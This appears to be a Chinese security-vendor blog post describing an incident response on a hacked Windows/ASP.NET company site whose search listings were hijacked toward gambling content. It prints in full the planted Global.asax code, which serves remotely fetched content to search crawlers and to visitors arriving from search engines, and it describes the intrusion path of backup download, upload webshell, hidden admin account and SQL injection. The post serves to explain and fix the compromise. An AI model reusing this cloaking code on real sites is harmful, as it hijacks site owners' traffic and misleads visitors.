服务器上的网站被劫持收录跳转到灰色行业

简介: 3月份所有的企业都开始恢复正常运营,公司网站的运营者发现网站被攻击篡改跳转,在百度的收录出现了大量的与网站本身内容不相干的快照,都是一些菠菜或违规的内容,而运营者用的是单独服务器WIN2008系统在服务器里找了好久都没有发现被篡改的问题,而且公司对这个网站的声誉非常严谨,需要尽快恢复正常访问,这个运营者束手无策后,找到了我们SINE安全寻求服务,我们接手后立马安排安全技术对客户网站的整体情况以及百度收录的情况进行了排查,发现网站在春节期间被入侵篡改收录了大量的违规快照内容,而且服务器里还有其他的网站也同样被篡改,接下来我把处理过程简单总结一下

3月份所有的企业都开始恢复正常运营,公司网站的运营者发现网站被攻击篡改跳转,在百度的收录出现了大量的与网站本身内容不相干的快照,都是一些菠菜或违规的内容,而运营者用的是单独服务器WIN2008系统在服务器里找了好久都没有发现被篡改的问题,而且公司对这个网站的声誉非常严谨,需要尽快恢复正常访问,这个运营者束手无策后,找到了我们SINE安全寻求服务,我们接手后立马安排安全技术对客户网站的整体情况以及百度收录的情况进行了排查,发现网站在春节期间被入侵篡改收录了大量的违规快照内容,而且服务器里还有其他的网站也同样被篡改,接下来我把处理过程简单总结一下。

1.分析网站被攻击篡改的原因

客户网站用的是单独服务器,服务器是Windows server 2008,网站架构是用.net写的也就是aspx,数据库是sqlserver 2008,是一个综合的网站平台,有购物平台和客户下单系统,客户公司对网站用户的信息以及订单信息很重视怕被泄露,以及对网站的名誉都很重视,才想尽一切办法来恢复正常访问和安全加固,看了下网站根目录下的结构,存在一些默认的管理员目录admin,以及根目录下有个rar的压缩文件包,名字为filesbak.rar,打开看了下内容竟然是网站的备份目录,而且还包含了一些数据库备份的sql文件,可想而知,黑客肯定会通过批量猜解文件名去尝试下载。

通过对网站目录里的文件进行了代码安全审计,发现被上传了aspx木马后门,而且日期是2022年2月3日的,通过对日志的分析对比,发现黑客下载了网站的备份文件,通过上传功能的upload.aspx文件直接上传了木马后门,本身aspx的权限就比较大,可以直接提权拿到服务器权限,想到这里,对服务器的用户和用户组进行了比对,发现被增加了隐藏的管理员账户(客户网站的运营者没有发现,是因为你点开用户管理是看不到的,只能由我们SINE安全技术通过比对注册表进行对比才能看到),说明服务器也被黑客拿下了。既然问题已经清楚了,那就要分析被劫持跳转和收录恶意快照内容的问题,首先要检查网站根目录下的配置文件web.config看看有没有改动,检查了下文件内容正常,看了下首页文件index.aspx也没有篡改的迹象,对IIS站点的属性里的url伪静态也进行了查看,也没发现问题,根据我们多年的网站安全公司的处理经验,根目录下可能存在隐藏的文件,通过cmd命令下进行查看果然看到了一个隐藏属性的文件名为Global.asax,直接cmd命令cp拷贝文件到桌面进行查看,发现了被劫持跳转收录的木马代码:

<%@ Application Language="C#" %><%@ Import Namespace="System.Net" %><%@ Import Namespace="System.Net.Sockets" %><%@ Import Namespace="System.Text" %><%@ Import Namespace="System.IO" %><%@ Import Namespace="System.Security.Cryptography" %><script runat="server">void Application_Error(object sender, EventArgs e){if(Context != null){HttpContext ctx = HttpContext.Current;Exception ex = ctx.Server.GetLastError();HttpException ev = ex as HttpException;if(ev!= null){if(ev.GetHttpCode() == 404){string[] spidersString = "sogou,m.sogou,so.com,baidu,google,sogo,youdao,yahoo,bing,118114,soso,biso,gougou,ifeng,ivc,sooule,niuhu,biso,360,ucbrowser,uc".ToLower().Split(',');string[] refesString = "sogou,m.sogou,so.com,baidu,google,sogo,youdao,yahoo,bing,118114,soso,biso,gougou,ifeng,ivc,sooule,niuhu,biso,360,ucbrowser,uc".ToLower().Split(',');string Path = "xxx";(由于网站不能带网址,所以用xxx代表)string jsPath = "xxx";(由于网站不能带网址,所以用xxx代表)string leftPath = "xxx";(由于网站不能带网址,所以用xxx代表)string REFERER = "xxx";(由于网站不能带网址,所以用xxx代表)string user="";string urls=Request.Url.ToString();string host=Request.Url.Host;string spi2 = "";string[] spidersString2 = "ao,so.com,360".ToLower().Split(',');string user2 = Request.ServerVariables["HTTP_USER_AGENT"].ToString().ToLower();foreach (string s12 in spidersString2){if (user2.IndexOf(s12) != -1){spi2 = "&zz=360";break;}}if (user2.IndexOf("aid") != -1){spi2 =spi2 + "&bb=baidu";}if (Request.UrlReferrer != null){REFERER = Request.UrlReferrer.ToString().ToLower();}if (Request.ServerVariables["HTTP_USER_AGENT"] != null){user = Request.ServerVariables["HTTP_USER_AGENT"].ToString().ToLower();}foreach (string s in refesString){if (REFERER.IndexOf(s) != -1){ctx.ClearError();string getjs = get_content(jsPath);Response.Write(getjs);Response.End();}}foreach (string s in spidersString){if (user.IndexOf(s) != -1){ctx.ClearError();Response.Clear();if (urls.IndexOf("sitemap") != -1){string getleft = get_content(leftPath);Response.Write(getleft);Response.End();}string gethttp = get_content(Path+"?host="+host+"&urldz="+urls+spi2);Response.Write(gethttp );Response.End();}}//Response.Redirect("/");} } }}void Application_BeginRequest(object sender, EventArgs e){string[] spidersString = "Baiduspider,baidu.com,sogou.com,m.sogou,sougou,sogo,soso,360Spider".ToLower().Split(',');string user="";if (Request.ServerVariables["HTTP_USER_AGENT"] != null){user = Request.ServerVariables["HTTP_USER_AGENT"].ToString().ToLower();}foreach (string s in spidersString){if (user.IndexOf(s) != -1){Response.Clear();string gethttp = get_content("xxx");(由于网站不能带网址,所以用xxx代表)Response.Write(gethttp);}}}private string get_content(string p){string s = "";try{System.Net.WebClient client = new System.Net.WebClient();client.Encoding = System.Text.Encoding.GetEncoding("gb2312");s = client.DownloadString(p);client.Dispose();}catch(Exception ex){Response.Write(""+ex.Message);}return s;}</script>

2.网站木马清除和网站漏洞修复

找到问题后,我先来讲一下这个代码的作用,这个代码的功能主要是根据来路条件进行判断,如果来路的搜索引擎是sogou,m.sogou,so.com,baidu,google,sogo,youdao,yahoo,bing,118114,soso,biso,gougou,ifeng,ivc,sooule,niuhu,biso,360,ucbrowser,uc,就直接显示劫持地址的恶意内容,如果是直接输入网站域名的话就是正常显示,主要是对网站的快照收录和来路进行跳转,所以说很多运营者如果直接输入网站域名是发现不了问题的,如果用户搜索关键词点击网站链接进入的话会直接被跳转到恶意网站上去,知道原理后那我就找个模拟百度抓取的工具去抓取看下内容,图片如下:

果然模拟百度蜘蛛抓取到的内容会显示恶意标题,那了解这个木马劫持收录跳转的原理后,直接先把这个隐藏属性的Global.asax强制删除,然后再模拟抓取看下是否正常:

好了,网站恢复了正常访问,抓取也正常了,接下来的工作就是对网站木马后门的清理以及对网站漏洞的修复,通过我们人工代码审计发现一共留了3个后门,和1个服务器远控后门,先对网站的后门进行了删除,对上传目录进行了限制,对upload.aspx上传功能这里进行了修复,严格了对上传的后缀名限制,防止被绕过并上传aspx或asp的脚本文件,考虑到网站是用aspx和sql架构写的代码,认真看了下功能代码的变量提交函数的写法,发现存在sql注入攻击,黑客可以通过sql注入漏洞进行攻击直接用数据库用户的dbwone权限提权执行增加管理员账户,看到这个问题后立即对提交的变量函数统一进行了过滤,对非法字符和语句进行了限制,对默认的后台管理目录进行了系统二次验证,防止黑客暴力破解后台登录并篡改信息,服务器的后门直接对远程端口以及管理员账户进行了安全策略,只允许指定的IP进行通信。

因为大部分的运营者的安全技术有限,只能解决表面的问题,而网站反复被篡改攻击的问题实在是让运营者招架不住,再次建议网站的运营者有条件的话一定要向网站漏洞修复公司进行服务,国内做网站安全加固和漏洞修复的服务商如SINE安全,鹰盾安全,启明星辰,大树安全,都是有着丰富的实战安全防护经验,术业有专攻,专业的事情专业做。做好安全加固防护后网站稳定运行才是公司持久发展的必要条件。

相关文章
|
5月前
|
数据采集 中间件 Python
Scrapy爬虫:利用代理服务器爬取热门网站数据
Scrapy爬虫:利用代理服务器爬取热门网站数据
|
21天前
|
存储 数据挖掘 Linux
服务器数据恢复—Linux操作系统网站服务器数据恢复案例
服务器数据恢复环境: 一台linux操作系统服务器上跑了几十个网站,服务器上只有一块SATA硬盘。 服务器故障: 服务器突然宕机,尝试再次启动失败。将硬盘拆下检测,发现存在坏扇区
|
2月前
|
前端开发 安全 Java
在Java服务器端开发的浩瀚宇宙中,Servlet与JSP犹如两颗璀璨的明星,它们联袂登场,共同编织出动态网站的绚丽篇章。
在Java服务器端开发的浩瀚宇宙中,Servlet与JSP犹如两颗璀璨的明星,它们联袂登场,共同编织出动态网站的绚丽篇章。
17 0
|
3月前
|
关系型数据库 Linux 数据库
如何在Linux云服务器上通过Docker Compose部署安装Halo,搭建个人博客网站?
本文指导用户如何在Linux服务器上使用Docker Compose部署Halo博客系统。首先确保拥有Linux服务器并安装Docker及Docker Compose。接着创建文件夹(例如`~/halo`),用于存放所有Halo相关数据。可以选择不同的Halo Docker镜像源,推荐使用具体版本而非`latest`标签以避免误操作。示例中提供了三种`docker-compose.yaml`配置方法:Halo+PostgreSQL、Halo+MySQL以及使用默认的H2数据库。每种配置都包括网络设置、健康检查和环境变量。
110 1
|
4月前
|
前端开发 安全 Java
Java服务器端开发实战:利用Servlet和JSP构建动态网站
【6月更文挑战第23天】**Servlet和JSP在Java Web开发中扮演关键角色。Servlet处理业务逻辑,管理会话,JSP则结合HTML生成动态页面。两者协同工作,形成动态网站的核心。通过Servlet的doGet()方法响应请求,JSP利用嵌入式Java代码创建动态内容。实战中,Servlet处理数据后转发给JSP展示,共同构建高效、稳定的网站。虽然新技术涌现,Servlet与JSP仍为Java Web开发的基石,提供灵活且成熟的解决方案。**
64 8
|
4月前
|
弹性计算 运维 Java
解决方案测评(高效构建企业门户网站方案)基于ecs&云效&云解析DNS&VPC结合的自搭建方案报告
该文档是一个关于使用ECS、云效、云解析DNS和VPC结合的自搭建方案报告。主要内容包括前言部分,可能详细探讨了如何集成这些阿里云服务以构建自定义系统。由于提供的内容有限,具体的实施方案和细节未在摘要中体现。
203 2
|
3月前
|
域名解析 弹性计算 监控
阿里云服务器搭建博客网站教程
1. 购买阿里云ECS实例 2. 配置域名解析至服务器IP 3. 安装Nginx/Apache,部署网站文件 4. 安装MySQL等数据库,创建博客所需数据库 5. 安装WordPress等博客平台,按指南配置 6. 可选:启用SSL证书提升安全性 7. 设置备份与监控,确保安全稳定 完成以上步骤,即可在阿里云上成功搭建博客。记得更新维护,有问题参考阿里云文档或联系客服。 ```
125 0
|
5月前
|
弹性计算 应用服务中间件 Shell
利用阿里云ECS搭建企业网站的教程
在本教程中,我们将指导如何使用阿里云ECS搭建企业网站。步骤包括:1) 注册阿里云账号并购买ECS实例,选择适当配置;2) 配置安全组,开放必要端口;3) 通过SSH连接ECS,更新系统并安装Nginx;4) 上传网站文件,配置Nginx服务器;5) 绑定域名并配置HTTPS证书。按照这些步骤,你的企业网站将在阿里云ECS上安全运行。
160 1
|
5月前
|
安全 定位技术
外贸网站如何选择服务器
以上就是选择外贸网站服务器时需要考虑的一些关键因素。
111 8
|
5月前
外贸网站服务器该如何选择?别再踩雷了
以上因素都应在选择外贸网站服务器时考虑。在选择服务器时,不要只看价格,要全面考虑,避免踩雷。
155 0
下一篇
无影云桌面